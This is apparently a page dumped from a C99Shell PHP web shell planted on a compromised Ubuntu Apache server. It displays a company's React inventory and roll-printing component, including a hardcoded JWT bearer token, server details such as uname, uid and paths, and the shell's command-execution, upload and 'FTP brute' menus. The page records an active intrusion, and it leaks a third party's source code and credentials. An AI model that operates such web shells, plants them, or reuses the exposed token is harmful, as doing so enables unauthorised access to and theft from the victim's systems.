!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/beximco/mrp_process/src/pages/   drwxr-xr-x
Free 13.16 GB of 57.97 GB (22.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Inventory.js (16.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import "../index.css";
import { useState, useEffect } from "react";
import axios from "axios";
import swal from "sweetalert";
import { v4 as uuidv4 } from "uuid";

const token =
  "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwiaWF0IjoxNjYyNTQ1NjY3LCJleHAiOjE5NzgxMjE2Njd9.5lVlCpiqLqBmdASH-06JubosdJ4jmHwqkepXIkaGr3E";

const initialState = {
  initialized: true,
  start: false,
  stop: false,
  initializedDate: "",
  startDate: "",
  stopDate: "",
  reset: true,
  new: false,
};

function Inventory() {
  const [initialized, setInitialized] = useState(false);
  const [start, setStart] = useState(true);
  const [stop, setStop] = useState(true);
  const [machine, setMachine] = useState(null);
  const [machineStatus, setMachineStatus] = useState(0);
  const [queue, setQueue] = useState(null);
  const [process, setProcess] = useState(null);
  const [rolls, setRolls] = useState(null);
  const [data, setData] = useState(initialState);
  const [count, setCount] = useState(null);

  const handleInitialize = async (event) => {
    const time = new Date().toLocaleDateString("en-us", {
      weekday: "long",
      year: "numeric",
      month: "numeric",
      hour: "numeric",
      minute: "numeric",
      second: "numeric",
    });
    const newState = {
      ...data,
      initialized: false,
      start: true,
      reset: false,
      initializedDate: time,
    };
    setData(newState);
    console.log(data);
    // event.currentTarget.disabled = true;
    // setStart(false);
    setMachineStatus(1);
    console.log("queueProcess.data");
    setTimeout(async () => {
      var queueProcess = await axios.get(
        `http://127.0.0.1:1337/queue?equipment_type=pallet&status=1&stage=stage 6`,
        {
          headers: {
            Authorization: "Bearer " + token,
          },
        }
      );

      setMachineStatus(1);
      console.log(queueProcess.data[0]);
      setQueue(queueProcess.data[0]);
      setStart(false);
    }, 1000);
  };

  const handleStart = async (event) => {
    const time = new Date().toLocaleDateString("en-us", {
      weekday: "long",
      year: "numeric",
      month: "numeric",
      hour: "numeric",
      minute: "numeric",
      second: "numeric",
    });
    event.currentTarget.disabled = true;
    setStop(false);
    const newState = {
      ...data,
      stop: true,
      start: false,
      new: true,
      startDate: time,
    };
    setData(newState);

    if (machineStatus == 1) {
      setMachineStatus(2);

      if (queue) {
        const updateQueue = await axios.put(
          `http://127.0.0.1:1337/queue/${queue.id}`,
          {
            status: 2,
          },
          {
            headers: {
              Authorization: "Bearer " + token,
            },
          }
        );
      }
    }
  };

  const handleStop = async (event) => {
    try {
      const time = new Date().toLocaleDateString("en-us", {
        weekday: "long",
        year: "numeric",
        month: "numeric",
        hour: "numeric",
        minute: "numeric",
        second: "numeric",
      });
      //   event.currentTarget.disabled = true;
      //   const newState = {
      //     ...data,
      //     stop: false,
      //     initialized: true,
      //     stopDate: time,
      //   };
      //   setData(newState);

      if (machineStatus == 2) {
        // setMachineStatus(0);
        // setInitialized(false);

        if (!process) {
          const output = parseInt(Date.now() / 1000);
          console.log(output);
          const process_id = uuidv4();

          if (queue) {
            const finishedProcess = {
              process_id: process_id,
              items_id: queue.equipment_id,
              equipment_type: "pallet",
              order_id: queue.order_id,
              process_stage: queue.stage,
              factory_id: 1,
              start_time: queue.created_at,
              end_time: new Date(),
              process_name: "finishing_rolls",
              input: "pallet",
              output: "finishing_rolls",
              output_id: output,
              send_inventory: 1,
            };
            const postProcess = await axios.post(
              "http://127.0.0.1:1337/finished_process",
              finishedProcess,
              {
                headers: {
                  Authorization: "Bearer " + token,
                },
              }
            );
            setProcess(postProcess.data);
            window.open(`rawbt:${output}`);
            setCount(1);
            setRolls([String(output)]);
          }
        } else {
          var processData = await axios.get(
            `http://127.0.0.1:1337/finished_process?process_id=${process.process_id}`,
            {
              headers: {
                Authorization: "Bearer " + token,
              },
            }
          );
          if (processData.data.length === 1) {
            const output = parseInt(Date.now() / 1000);
            console.log(output);
            window.open(`rawbt:${output}`);
            const outputCount = parseInt(count) + 1;
            setCount(outputCount);
            console.log(outputCount);
            const processUpdate = await axios.put(
              `http://127.0.0.1:1337/finished_process/${processData.data[0].id}`,
              {
                output_id: outputCount,
              },
              {
                headers: {
                  Authorization: "Bearer " + token,
                },
              }
            );
            setRolls((current) => [...current, String(output)]);

            console.log(rolls);
          }
        }

        //   axios
        //     .delete(`http://127.0.0.1:1337/queue/${queue.id}`, {
        //       headers: {
        //         Authorization: "Bearer " + token,
        //       },
        //     })
        //     .then(() => {
        //       setQueue(null);
        //     });
      }
    } catch (error) {
      console.log(error.message);
    }
  };

  const handleNew = async (event) => {
    event.currentTarget.disabled = true;
    const newState = {
      ...data,
      stop: false,
      initialized: true,
      new: false,
    };
    setData(newState);
    setCount(null);
    setInitialized(false);
    setRolls(null);

    if (machineStatus == 2) {
      setMachineStatus(0);

      if (queue) {
        axios
          .delete(`http://127.0.0.1:1337/queue/${queue.id}`, {
            headers: {
              Authorization: "Bearer " + token,
            },
          })
          .then(() => {
            console.log("Queue deleted!");
            setQueue(null);
          });
      }
    }
  };

  const style = {
    withTitle2: {
      fontSize: "15px",
      fontWeight: 700,
      lineHeight: "1em",
      color: "#FFFFFF",
      paddingLeft: "20px",
    },
  };
  return (
    <>
      <header
        id="topnav"
        className="defaultscroll sticky"
        style={{ backgroundColor: "#3b4da7d1" }}
      >
        <div className="container">
          <div>
            <a className="logo" href="#">
              <img src="images/favicon.ico" height="24" alt="" />
              <span style={style.withTitle2}>CLOUDCODER </span>
            </a>
          </div>
        </div>
      </header>

      <section className="section mt-40">
        <div className="container">
          <div className="row align-items-center">
            <div className="col-lg-12 mt-4 pt-2">
              <div
                className="card work-details rounded bg-light border-0"
                // style={{ backgroundColor: "#435796 !important" }}
              >
                <div className="card-body">
                  <h5 className="card-title text-white border-bottom pb-3 mb-3">
                    Inventory
                  </h5>
                  <dl className="row mb-0">
                    <dt className="col-md-4 col-6 text-white">Factory ID :</dt>
                    <dd className="col-md-8 col-6 text-white">1</dd>

                    <dt className="col-md-4 col-6 text-white">Space ID :</dt>
                    <dd className="col-md-8 col-6 text-white">1</dd>

                    <dt className="col-md-4 col-6 text-white">Location :</dt>
                    <dd className="col-md-8 col-6 text-white">Beximco, BD</dd>

                    <dt className="col-md-4 col-6 text-white">Rolls :</dt>
                    <dd className="col-md-8 col-6 text-white">
                      {machineStatus == 1
                        ? "INITIALIZED"
                        : machineStatus == 2
                        ? "PROCESSING"
                        : "IDLE"}
                    </dd>

                    {count && (
                      <dt className="col-md-8 col-6 text-white">
                        Rolls Completed :
                      </dt>
                    )}

                    {count && (
                      <dd className="col-md-4 col-6 text-white">{count}</dd>
                    )}
                  </dl>
                </div>
              </div>
            </div>
          </div>

          <div className="row">
            <div className="col-lg-6 col-md-6 col-12 mt-4">
              <div className="content">
                <div className="mt-2 d-flex justify-content-center">
                  <button
                    className="btn btn-md btn-primary"
                    onClick={handleInitialize}
                    // disabled={}
                    disabled={initialized}
                    style={{ display: data.initialized ? "block" : "none" }}
                  >
                    Initialize
                  </button>

                  <button
                    className="btn btn-md btn-primary"
                    // disabled={isAnonymous ? true : false}
                    disabled={start}
                    onClick={handleStart}
                    style={{ display: data.start ? "block" : "none" }}
                  >
                    Start
                  </button>

                  <button
                    className="btn btn-md btn-primary"
                    disabled={stop}
                    onClick={handleStop}
                    style={{ display: data.stop ? "block" : "none" }}
                  >
                    Print Rolls
                  </button>

                  {/* <button
                    className="btn btn-md btn-primary ml-4"
                    // onClick={handleInitialize}
                    // disabled={}
                  >
                    History
                  </button> */}

                  <button
                    className="btn btn-md btn-primary ml-4"
                    // onClick={handleInitialize}
                    // disabled={}
                    style={{ display: data.reset ? "block" : "none" }}
                  >
                    Reset
                  </button>

                  <button
                    className="btn btn-md btn-primary ml-4"
                    // onClick={handleInitialize}
                    // disabled={}
                    style={{ display: data.new ? "block" : "none" }}
                    onClick={handleNew}
                  >
                    New Pallet
                  </button>
                </div>
              </div>
            </div>
            {queue && (
              <div className="col-lg-6 mt-4">
                <div className="media  align-items-center shadow rounded rounded border">
                  <div className="row p-2">
                    <div className="col-12 d-flex justify-content-center">
                      <div className="section-title">
                        <h4 className="title mb-2">
                          {machineStatus == 1
                            ? "Pallet INITIALIZED"
                            : machineStatus == 2
                            ? "Pallet PROCESSING"
                            : "Pallet STOPPED"}
                        </h4>
                      </div>
                    </div>
                    <div className="col-lg-4 col-md-6 col-12 mt-2 mb-2">
                      <div
                        className="media key-feature align-items-center p-2 rounded shadow"
                        style={{ backgroundColor: "#1ada52" }}
                      >
                        <div className="icon text-center rounded-circle mr-2">
                          <i
                            data-feather="monitor"
                            className="fa fa-check text-white"
                          ></i>
                        </div>
                        <div className="media-body">
                          <h4 className="title mb-0 text-white">
                            Pallet ID: {queue.equipment_id}
                          </h4>
                        </div>
                      </div>
                    </div>
                  </div>
                </div>
              </div>
            )}

            {rolls && (
              <div className="col-lg-6 mt-4">
                <div className="media  align-items-center shadow rounded rounded border">
                  <div className="row p-2">
                    <div className="col-12 d-flex justify-content-center">
                      <div className="section-title">
                        <h4 className="title mb-2">
                          {rolls ? "Rolls Generated" : ""}
                        </h4>
                      </div>
                    </div>
                    {rolls.map((roll) => (
                      <div
                        className="col-lg-4 col-md-6 col-6 mt-2 mb-2"
                        key={roll}
                      >
                        <div
                          className="media key-feature align-items-center p-2 rounded shadow"
                          style={{ backgroundColor: "#1ada52" }}
                        >
                          <div className="icon text-center rounded-circle mr-2">
                            <i
                              data-feather="monitor"
                              className="fa fa-check text-white"
                            ></i>
                          </div>
                          <div className="media-body">
                            <h4 className="title mb-0 text-white">
                              Rolls ID: {roll}
                            </h4>
                          </div>
                        </div>
                      </div>
                    ))}
                  </div>
                </div>
              </div>
            )}

            {/* <div className="col-lg-6 mt-4">
              <div className="media  align-items-center shadow rounded event-schedule rounded border">
                <div className="card-body">
                  <div className="media">
                    <img
                      src="images/06.jpg"
                      className="avatar avatar-medium rounded-circle img-thumbnail"
                      alt=""
                    />
                    <div className="media-body content ml-3">
                      <h4>
                        <a href="#" className="text-dark title">
                          BEAM ID: {beam}
                        </a>
                      </h4>
                      <p
                        className="text-muted location-time"
                        // style={{ textAlign: "justify" }}
                      >
                        <span className="text-dark h6 ">INITIALIZED:</span>{" "}
                        {data.initializedDate ? data.initializedDate : ""}
                        <br />
                        <span className="text-dark h6">START:</span>{" "}
                        {data.startDate} <br />{" "}
                        <span className="text-dark h6">STOP:</span>{" "}
                        {data.stopDate}
                      </p>
                    </div>
                  </div>
                </div>
              </div>
            </div> */}
          </div>
        </div>
      </section>
    </>
  );
}

export default Inventory;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--